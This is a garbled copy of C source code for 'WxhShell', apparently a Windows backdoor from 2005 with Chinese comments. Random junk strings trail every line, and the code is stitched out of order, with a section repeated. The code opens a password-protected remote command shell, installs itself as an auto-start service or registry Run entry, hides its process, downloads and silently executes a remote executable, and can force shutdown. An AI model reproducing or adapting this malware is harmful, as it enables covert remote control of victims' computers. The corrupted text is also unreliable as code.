    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S[5OTwa8L  
    if(Boot(SHUTDOWN)) #DA,*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K +l-A>Ic  
    else { U9Gg#M4tY  
    closesocket(wsh); vtw97G  
    ExitThread(0); cof+iI~9O%  
    } ^OrO&w|  
    break; l[Ko>  
    } u$rSM0CJ  
  // 获取shell +#Ga} e CM  
  case 's': { ql I1<Jx  
    CmdShell(wsh); pqDlg  
    closesocket(wsh); f7?u`"C  
    ExitThread(0); [5;_XMj%  
    break; Pah*,  
  } R q .2  
  // 退出 ,X)/ T!ff  
  case 'x': { E^C [G)7n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `1i\8s&O6@  
    CloseIt(wsh); ?`3G5at)9f  
    break; Q6$^lRNOpk  
    } y3Ul}mVhA  
  // 离开 wJg&OQc9  
  case 'q': { C {G647  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? ]H'egG6  
    closesocket(wsh);  ,8)aK y  
    WSACleanup(); lFV\Go  
    exit(1); Sd *7jW?  
    break; *(o^w'5  
        } TeHxqWx  
  } 4hWFgk  
  } TUX:[1~Nf[  
q22@ZRw  
  // 提示信息 rI'kZ0&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,veo/k<"r8  
} 1[]V @P^  
  } ]T>|Y0|  
c|F26$rv  
  return; F#Bi*YY  
} +a|u,'u  
asL!@YE  
// shell模块句柄 >a)6GZ@  
int CmdShell(SOCKET sock) F> b<t.yV  
{ *fp4u_:`  
STARTUPINFO si; tN_~zP  
ZeroMemory(&si,sizeof(si)); "u3 N9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M5`wfF,j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iUk#0 I  
PROCESS_INFORMATION ProcessInfo; "Xj>dB1~  
char cmdline[]="cmd"; = /kT|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \]qwD m/  
  return 0; qz }PTx  
} A&C?|M? M  
?jn";:  
// 自身启动模式 N6h.zl&04  
int StartFromService(void) *lyRy/POB  
{ y<^hM6S?Z  
typedef struct Wl{wY,u  
{ kj@m5`G  
  DWORD ExitStatus; :o_6  
  DWORD PebBaseAddress; ~-BIU Z;  
  DWORD AffinityMask; r1zuc:W 1  
  DWORD BasePriority; x?2y^3<5  
  ULONG UniqueProcessId; (P 9$Ei0fv  
  ULONG InheritedFromUniqueProcessId; ]64?S0p1c!  
}   PROCESS_BASIC_INFORMATION; Q@- h  
H1e^/JD)  
PROCNTQSIP NtQueryInformationProcess; k-8$ 43  
K~14;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V3[>^ZCA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jm3iYR+,  
y2@8?  
  HANDLE             hProcess; Ombvp;  
  PROCESS_BASIC_INFORMATION pbi; h"(HDnq  
9m}c2:p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'cf8VD  
  if(NULL == hInst ) return 0; '+iqbcUd,  
qdwjg8fo4Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _;u@xl=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vL Qh r&I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R|K#nh  
3ms{gZbw  
  if (!NtQueryInformationProcess) return 0; g({dD;  
*!u a?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f/]g@/`  
  if(!hProcess) return 0; +"D*0gYD  
sRSy++FRF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *_tJ;  
N}7tjk   
  CloseHandle(hProcess); 22"/|S  
u|8yV.=R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ks.kn7<l  
if(hProcess==NULL) return 0; LYp=o8JW|  
"hXB_73)V  
HMODULE hMod; ]`}R,'P  
char procName[255]; 84YZT+TEN  
unsigned long cbNeeded; gf U!sYZ  
Hh0a\%!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ['_G1_p  
Hbi2amfBu  
  CloseHandle(hProcess); r?wE;gH  
-,} ppTG  
if(strstr(procName,"services")) return 1; // 以服务启动 'E~[I"0  
a[Oi  
  return 0; // 注册表启动 X5wYfN  
} Wj#Gm  
5mF"nY&lI  
// 主模块 2B&|0&WI  
int StartWxhshell(LPSTR lpCmdLine) s(M8 Y  
{ x)!NB99(tC  
  SOCKET wsl; s9b 6l,Z  
BOOL val=TRUE; ypsT: uLT  
  int port=0; #ZPy&GIr  
  struct sockaddr_in door; tJ@5E^'4  
exL<cN  
  if(wscfg.ws_autoins) Install(); yXL]uh#b  
PH3#\ v.   
port=atoi(lpCmdLine); 9|RR;k[  
$.-\2;U  
if(port<=0) port=wscfg.ws_port; V-%Am  
gTwxmp.,  
  WSADATA data; {h *Pkn1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m@^!?/as  
VJ$UpqVm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ee-yP[2 *  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '}$$o1R  
  door.sin_family = AF_INET; -%t2_g,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _ya_Jf*  
  door.sin_port = htons(port); 0s8w)%4$  
ZdY)&LJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "R v],O"  
closesocket(wsl); -% Z?rn2  
return 1; 8m;tgMFO  
} kZ3w2=x3v  
b{wj4  
  if(listen(wsl,2) == INVALID_SOCKET) { %#,EqN  
closesocket(wsl); }0?\H)/edP  
return 1; ]M5w!O!  
} Q`7.-di  
  Wxhshell(wsl); ?O<D&CvB  
  WSACleanup(); cN\Fgbt  
{expx<+4F  
return 0; QSq0{  
v\:P _J  
} m'P,:S)=  
`@07n]KB  
// 以NT服务方式启动 o7;#B)jWS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jsOid5bs  
{ =vZF/r  
DWORD   status = 0; jjrhl  
  DWORD   specificError = 0xfffffff; amH..D7_>  
q:/<^|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `c~J&@|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w `0m[*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o0'!u  
  serviceStatus.dwWin32ExitCode     = 0; Au-h#YV  
  serviceStatus.dwServiceSpecificExitCode = 0; WVfwt.Y  
  serviceStatus.dwCheckPoint       = 0; H~Fb=.h]U  
  serviceStatus.dwWaitHint       = 0; kKP<K+hH  
p 3*y8g-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EFNi# D8s  
  if (hServiceStatusHandle==0) return; I?_YL*  
3.?kxac  
status = GetLastError(); 7; e$ sr  
  if (status!=NO_ERROR) U4*Q;A#  
{ ^*=.Vuqy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 08TeGUjJ  
    serviceStatus.dwCheckPoint       = 0; yMoV|U6  
    serviceStatus.dwWaitHint       = 0; P 4|p[V8  
    serviceStatus.dwWin32ExitCode     = status; GnzKDDH '  
    serviceStatus.dwServiceSpecificExitCode = specificError; oX #WT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8A ;)5!  
    return; _`(WX;sK  
  } E'O[E=  
zZax![Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t+?m<h6w;l  
  serviceStatus.dwCheckPoint       = 0; n$oHr  
  serviceStatus.dwWaitHint       = 0; 9Oe~e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q/lQEfR  
} ?' :v): J}  
awic9 uMH  
// 处理NT服务事件,比如:启动、停止 jJK`+J,i}X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q'B2!9=LB  
{ %P2l@}?a  
switch(fdwControl) = olmBXn/  
{ yxx'g+D*  
case SERVICE_CONTROL_STOP: GF=rGn@,)`  
  serviceStatus.dwWin32ExitCode = 0; <_N<L\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HDY2<Hzc  
  serviceStatus.dwCheckPoint   = 0; EDf"1b{PX  
  serviceStatus.dwWaitHint     = 0; 0;V "64U  
  { ,p\:Z3{ZH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Adma~]T9  
  } L" GQ Q  
  return; =W_Pph  
case SERVICE_CONTROL_PAUSE: k:qS'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .*(xkJI3  
  break; %HAforH  
case SERVICE_CONTROL_CONTINUE: V6ICR{y<3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4fyds< f  
  break; 8*iIJ  
case SERVICE_CONTROL_INTERROGATE: C3"5XR_Ov  
  break; &xYO6_.  
}; #NZ#G~oeO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^.|P&f~  
} "h'+!2mf  
_P{f+HxU  
// 标准应用程序主函数 y k{8O.g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0lm7'H*~  
{ H-|%\9&{S  
z?DI4 O#Up  
// 获取操作系统版本 ZZu{c t9  
OsIsNt=GetOsVer(); :+q d>;yf#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7H l>UX,|  
-$2a@K,i  
  // 从命令行安装 ,|RN?1?U  
  if(strpbrk(lpCmdLine,"iI")) Install(); L]kd.JJvy  
r&/M')}?Lw  
  // 下载执行文件 9{KL^O?g  
if(wscfg.ws_downexe) { R0A|} Ee*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N7 FndB5%  
  WinExec(wscfg.ws_filenam,SW_HIDE); "-T[D9(A  
} G=ly .  
=G,wR'M  
if(!OsIsNt) { !K[UJQ s\  
// 如果时win9x,隐藏进程并且设置为注册表启动 qbsmB8rh  
HideProc(); "!w#E6gU  
StartWxhshell(lpCmdLine); e"D%eFkDW  
} 6Lb(oY}\3  
else ~9[O'  
  if(StartFromService()) m0Geq.  
  // 以服务方式启动 }nUq=@ej  
  StartServiceCtrlDispatcher(DispatchTable); SYE+A`a  
else 2t[P-on  
  // 普通方式启动 N xW Dw  
  StartWxhshell(lpCmdLine); ki6L t  
YEPQ/Pc  
return 0; zo| '  
} h4#y'E!,Z  
F(?O7z"d  
TKe\Bi  
D>fg  
=========================================== [p+-]V  
C==yl"w  
v8} vk]b  
.sCj3sX*  
VtN1 [}  
K2> CR$L  
" { )-8P  
!sG# 3sUe[  
#include <stdio.h> (hJ&`Tt  
#include <string.h> 4OaU1Y[  
#include <windows.h> J6I:UML  
#include <winsock2.h> [} zzG@g,J  
#include <winsvc.h> kz\Ss|jl  
#include <urlmon.h> \47djmG-  
lHUd<kEC  
#pragma comment (lib, "Ws2_32.lib") lz7?Z  
#pragma comment (lib, "urlmon.lib") 64i*_\UKe  
g7" 2}|qxo  
#define MAX_USER   100 // 最大客户端连接数 ?XbM  
#define BUF_SOCK   200 // sock buffer `FGYc  
#define KEY_BUFF   255 // 输入 buffer {sfA$ d0  
vh#81}@N7*  
#define REBOOT     0   // 重启 4iI4+  
#define SHUTDOWN   1   // 关机 :pfLa2f+  
SF=TG84<  
#define DEF_PORT   5000 // 监听端口 $niG)@*  
Kr5(fU  
#define REG_LEN     16   // 注册表键长度 AP:Q]A6}  
#define SVC_LEN     80   // NT服务名长度 l0 8vF$k|d  
02_+{vk!  
// 从dll定义API mCyn:+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D3B]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J= [D'h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yAiO._U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j'k <  
jsFfrS"*  
// wxhshell配置信息 jF}-dfe  
struct WSCFG { L^jjf8_  
  int ws_port;         // 监听端口 "Ccyj/  
  char ws_passstr[REG_LEN]; // 口令 16ZyLt  
  int ws_autoins;       // 安装标记, 1=yes 0=no F8S>Ld  
  char ws_regname[REG_LEN]; // 注册表键名 f{.4# C'  
  char ws_svcname[REG_LEN]; // 服务名 q{ [!" ,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]|-sZ<?<i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '451H3LC0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b'W.l1]<-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q5^ #:uZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^TtL-|I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3vs{*T"  
0|Xz-Y  
}; f"*k>=ETI  
=C2KHNc  
// default Wxhshell configuration vc :%  
struct WSCFG wscfg={DEF_PORT, o! l Ykud  
    "xuhuanlingzhe", )n]" ~I^  
    1, o1vK2V  
    "Wxhshell", 5X f]j=_  
    "Wxhshell", ;I&XG  
            "WxhShell Service", j4<K0-?  
    "Wrsky Windows CmdShell Service", Xhq7)/jp  
    "Please Input Your Password: ", NS65F7<&  
  1, "[eH|z/  
  "http://www.wrsky.com/wxhshell.exe", Z5E; FGPb  
  "Wxhshell.exe" WfD fj  
    }; EV?U !O  
T](}jQxj`  
// 消息定义模块 R G*Vdom  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $AT@r"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o] Xt2E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 41x"Q?.bY  
char *msg_ws_ext="\n\rExit."; /O5&)%N  
char *msg_ws_end="\n\rQuit."; d:k n%L6k_  
char *msg_ws_boot="\n\rReboot..."; Wqkzj^;"G  
char *msg_ws_poff="\n\rShutdown..."; Wqkb1~]#Y  
char *msg_ws_down="\n\rSave to "; o{6q>Jm  
|his8\C+x  
char *msg_ws_err="\n\rErr!"; B>W8pZu-J  
char *msg_ws_ok="\n\rOK!"; 0-uw3U<  
XZ . T%g  
char ExeFile[MAX_PATH]; ?!K6")SE  
int nUser = 0; 9b&|'BBW  
HANDLE handles[MAX_USER]; P}]o$nWT  
int OsIsNt; xbBqR _ H_  
4-t^?T: qF  
SERVICE_STATUS       serviceStatus; 5f{P% x(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :\vs kk),  
|{&M#qXe  
// 函数声明 n>?D-)g  
int Install(void); +SR{ FF  
int Uninstall(void); S3:AitGJ  
int DownloadFile(char *sURL, SOCKET wsh); zs~Tu  
int Boot(int flag); Kv(R|d6Lp  
void HideProc(void); }DXG;L  
int GetOsVer(void); P`ou:M{8  
int Wxhshell(SOCKET wsl); NJ)Dw`|%|)  
void TalkWithClient(void *cs); ~_-]> SI  
int CmdShell(SOCKET sock); jM&di  
int StartFromService(void); ;F#(:-:  
int StartWxhshell(LPSTR lpCmdLine); F~8'3!<9  
R0}1:1}$Sn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WFiX=@SS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s(nT7x+W  
b,^Gj]7  
// 数据结构和表定义 'Y/0:)  
SERVICE_TABLE_ENTRY DispatchTable[] = O5:bdt.  
{ ~\mh\a&  
{wscfg.ws_svcname, NTServiceMain}, i1|>JM[V  
{NULL, NULL} .G8>UXX  
}; K J\kR  
6q\*{_CPB  
// 自我安装 8f/KNh7#s  
int Install(void) z 7ik/>d?  
{ _Z Sp$>)/  
  char svExeFile[MAX_PATH]; X+C*+k,z  
  HKEY key; a8f#q]TyQ  
  strcpy(svExeFile,ExeFile); %\v8 FCb  
aknIrblS\  
// 如果是win9x系统,修改注册表设为自启动 &yvvea]  
if(!OsIsNt) { F)(^c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gLB(A\yG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ZL?Pqki  
  RegCloseKey(key); {2h *NFp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b!P,+!<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vw1>d+<~-)  
  RegCloseKey(key); }! EVf  
  return 0; dgjK\pH`h  
    } Cjx4vP  
  } ;NR|Hi]  
} A<ds+0  
else { uYMn VE"  
Xj 1Oxm 42  
// 如果是NT以上系统,安装为系统服务 :YI5O/gsk?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =3 .dgtH  
if (schSCManager!=0) -;7xUNQ  
{ "_q~S$i^  
  SC_HANDLE schService = CreateService  SvT0%2  
  ( 1o`1W4Q  
  schSCManager, E ?Mgbd3  
  wscfg.ws_svcname, I&{T 4.B:U  
  wscfg.ws_svcdisp, s`jlE|jtN  
  SERVICE_ALL_ACCESS, n.&7lg^X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SO=gG 2E  
  SERVICE_AUTO_START,  xgcxA:  
  SERVICE_ERROR_NORMAL, Cgx:6TRS  
  svExeFile, &{V|%u}v  
  NULL, gS5REC4I/  
  NULL, !?nO0Ao-$  
  NULL, KClkPL!jP  
  NULL, y#j7vO  
  NULL 4<i#TCGex3  
  ); XI\Slq  
  if (schService!=0) Jh3  
  { P |t yyjO  
  CloseServiceHandle(schService); >$JE!.p%o  
  CloseServiceHandle(schSCManager); C< c6Ub  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9j:]<?D,A  
  strcat(svExeFile,wscfg.ws_svcname); kk /#&b2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'F d+1 3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `eM ZhY o  
  RegCloseKey(key); gz~oQ l)zJ  
  return 0; WT'-.UX m  
    } QN#"c  
  } bzFac5n)Q  
  CloseServiceHandle(schSCManager); _y~6b{T  
} L5bq\  
} SBreA-2  
FJc8g6M  
return 1; 7|5kak>=  
} @3.Z>KONx  
uge r:cD  
// 自我卸载 9\4x<*  
int Uninstall(void) AioW*`[WjA  
{ Wx:v~/r  
  HKEY key; I=kqkuW  
O>' }q/  
if(!OsIsNt) { g8Ex$,\,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .;4N:*hY  
  RegDeleteValue(key,wscfg.ws_regname); 9^XZ|`  
  RegCloseKey(key); ^I!Z)/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I?'*vAW<  
  RegDeleteValue(key,wscfg.ws_regname); 8\rca:cF   
  RegCloseKey(key); #yochxF_  
  return 0; f)*?Ji|5F  
  } vwT1bw.  
} J@2jx4   
}  Zi~.  
else { 1m~|e.g_'`  
Mt4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ;j26(dH  
if (schSCManager!=0) dHDtY$/_  
{ 3gUY13C}:p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V *@q< rQ  
  if (schService!=0) ^*}D*=>\  
  { 2nyK'k  
  if(DeleteService(schService)!=0) { G<?RH"RZr  
  CloseServiceHandle(schService); ,/?J!W@m  
  CloseServiceHandle(schSCManager); 3N_KNW  
  return 0; ';3>rv_  
  } /(^-= pAX  
  CloseServiceHandle(schService); 4;6"I2;zfG  
  } =3035{\  
  CloseServiceHandle(schSCManager); Z?+ )ox  
} T \/^4N`  
} zIF1A*UH  
%@PcQJg U<  
return 1; N/o?\q8  
} dHY@V> D'-  
S%\5"uGa  
// 从指定url下载文件 +ywz@0nx  
int DownloadFile(char *sURL, SOCKET wsh) jr`T6!\  
{ ]Ozz"4Z  
  HRESULT hr; ~!({U nt+'  
char seps[]= "/"; 8WytvwB}  
char *token; 2U[/"JL  
char *file; >)WE3PT/O"  
char myURL[MAX_PATH]; u.2X "  
char myFILE[MAX_PATH]; k{f1q>gd  
f! +d*9  
strcpy(myURL,sURL); x<l 5wh  
  token=strtok(myURL,seps); &u:U"j  
  while(token!=NULL) spA|[\Nl  
  { 96\FJHt Z  
    file=token; . V!5Ui<  
  token=strtok(NULL,seps); 2?ue.1C  
  } +O8[4zn&k  
bSIY|/d+  
GetCurrentDirectory(MAX_PATH,myFILE); GG#-x$jK  
strcat(myFILE, "\\"); vE[d& b[  
strcat(myFILE, file); vu.ug$T  
  send(wsh,myFILE,strlen(myFILE),0); Aa9l-:R  
send(wsh,"...",3,0); | d*<4-:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $(62j0mS>  
  if(hr==S_OK) ;rf{T[i  
return 0; :7(fBf5  
else Sqp91[,  
return 1; L[zTT\a  
S_sHwObFu|  
} iK4\N;H  
D!* SA  
// 系统电源模块 CRo @+p10  
int Boot(int flag) QO$18MBcc  
{ <@M5 C -hH  
  HANDLE hToken; ^h_rE |c  
  TOKEN_PRIVILEGES tkp; ^X#)'\T  
:30daKo  
  if(OsIsNt) { w8+ phN(-M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d*u3]&?x&f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %;wD B2k*  
    tkp.PrivilegeCount = 1; z/j*zU `  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s3Bo'hGxG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hzAuj0-A  
if(flag==REBOOT) { #IppjaPl8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VN-0hw/A  
  return 0; .\`M oH  
} tuH#Cy  
else { \)*\$I\]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =?CIC%6m  
  return 0; .P8m%$'N  
} k'X"jon  
  } xRZ K&vkKE  
  else { "X<V>q$0~c  
if(flag==REBOOT) { p+Yy"wH:h{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9F3aT'3#!  
  return 0; #F/W_G7v  
} FpB3SJ6 B  
else { klmbbLce  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cno[:iom  
  return 0; y@}WxSK*0  
} aAcQmq TT  
} yodhDSO5i  
UChLWf|'  
return 1; * r4FOA%P  
} hAgrs[OFj  
\`8$bpW[nS  
// win9x进程隐藏模块 &|IO+'_  
void HideProc(void) &OvA[<qT  
{ W<#Kam:8e  
9a:(ab'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C^?/9\  
  if ( hKernel != NULL ) 2x gk$E$7  
  { -4Q\FLC'k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DW,Z})9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s&%r?  
    FreeLibrary(hKernel); k-4z2qB  
  } Yi-,Pb?   
{DVMs|5;^  
return; 5/hgWG6.t  
} Us[F@  
_or_Vw!  
// 获取操作系统版本 g6gwNC:aF  
int GetOsVer(void) KfK5e{yT  
{ 0{!-h  
  OSVERSIONINFO winfo; /`qQWB5b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nn0j}ZI)1  
  GetVersionEx(&winfo); }V/iU_)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Y1nU-  
  return 1; a/CY@V-  
  else iOAn/[^xk  
  return 0; 3?k<e  
} zl, Vj%d  
1Uah IePf  
// 客户端句柄模块 6XAofN/5f  
int Wxhshell(SOCKET wsl) !;t6\Z8&  
{ X&Ospl@H  
  SOCKET wsh; 6EY 0Fjsi  
  struct sockaddr_in client; D=f$-rn  
  DWORD myID; Eb'M< ZY  
t@2MEo  
  while(nUser<MAX_USER) 5HB*  
{ 5rtE/ {A  
  int nSize=sizeof(client); \+ Ese-la  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |]HA@7B  
  if(wsh==INVALID_SOCKET) return 1; xyV7MW\?w  
xNJ*TA[+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nh+h3"-d  
if(handles[nUser]==0) 1vh[sKv9%  
  closesocket(wsh); (nkiuCO  
else &[ |Z2}  
  nUser++; 16ip:/5  
  } {\h:k\k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &`'@}o>2  
?wIw$p>wT  
  return 0; bvl!^xO]  
} )|]*"yf:E  
iII%!f?{[  
// 关闭 socket %xX b5aY  
void CloseIt(SOCKET wsh) 2`V0k.$?p  
{ HbCcROl(  
closesocket(wsh); $7O3+R/=  
nUser--; Z0 c|;  
ExitThread(0); ;b|=osyT\  
} n "I{aJ]K  
j\@&poJ(,  
// 客户端请求句柄 'O 7>w%#  
void TalkWithClient(void *cs) xjYH[PgfX  
{ O^~nf%  
a0k/R<4  
  SOCKET wsh=(SOCKET)cs; q:wz!~(>  
  char pwd[SVC_LEN]; (AG((eV  
  char cmd[KEY_BUFF]; {(d 6of`C_  
char chr[1]; #A~7rH%hi  
int i,j; 5sB~.z@  
b. :2x4  
  while (nUser < MAX_USER) { >+%0|6VSb  
H@|m^1  
if(wscfg.ws_passstr) { Jg&f.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U*BI/wZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $GD Q1&Z  
  //ZeroMemory(pwd,KEY_BUFF); u`*1OqU  
      i=0; 0 \1g-kc!v  
  while(i<SVC_LEN) { S""F58 H n  
iML?`%/vN  
  // 设置超时 'kJyE9*xU.  
  fd_set FdRead; K7,Sr1O `  
  struct timeval TimeOut; y+' ,jM  
  FD_ZERO(&FdRead); ( _MY;S  
  FD_SET(wsh,&FdRead); ]0")iY_  
  TimeOut.tv_sec=8; A*kN I  
  TimeOut.tv_usec=0; *"V) h I5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u&j_;Y!6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $b )k  
] $F%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uOx"oR|  
  pwd=chr[0]; -;YhQxxC}L  
  if(chr[0]==0xd || chr[0]==0xa) { h\6 t\_^\  
  pwd=0; )SaMfP1=v  
  break; 1#XZVp;M  
  } ddlF4L_  
  i++; .sZ"|j9m  
    } Wm!cjGK  
\ 5#eBJ  
  // 如果是非法用户,关闭 socket Ki[&DvW:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X|Nb8 1M  
} LO,:k+&A+  
?0d#O_la3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8&y#LeM1TT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Go7 oj'"  
( n!8>>+1C  
while(1) { 2}9M7Z",2  
wYd{X 8$  
  ZeroMemory(cmd,KEY_BUFF); xeRoif\4c  
SM.KM_%K  
      // 自动支持客户端 telnet标准   L}t P_ *  
  j=0; I9sQPa  
  while(j<KEY_BUFF) { .bNG:y>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); we33GMxHl`  
  cmd[j]=chr[0]; u"U7aYGkY  
  if(chr[0]==0xa || chr[0]==0xd) { cE*d(g  
  cmd[j]=0; 'Z6x\p  
  break; gAK"ShOhG=  
  } v+DXs!O{  
  j++; NqN}] nu6  
    } gq.l=xS  
*$Z?Owl7  
  // 下载文件 S3y(' PeF  
  if(strstr(cmd,"http://")) { o}Q3mCB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *dx E (dP  
  if(DownloadFile(cmd,wsh)) pE{Ecrc3|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B# o6UO\  
  else $g }aH(vf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V17!~  
  } ,b t j6hg  
  else { KAnq8B!h  
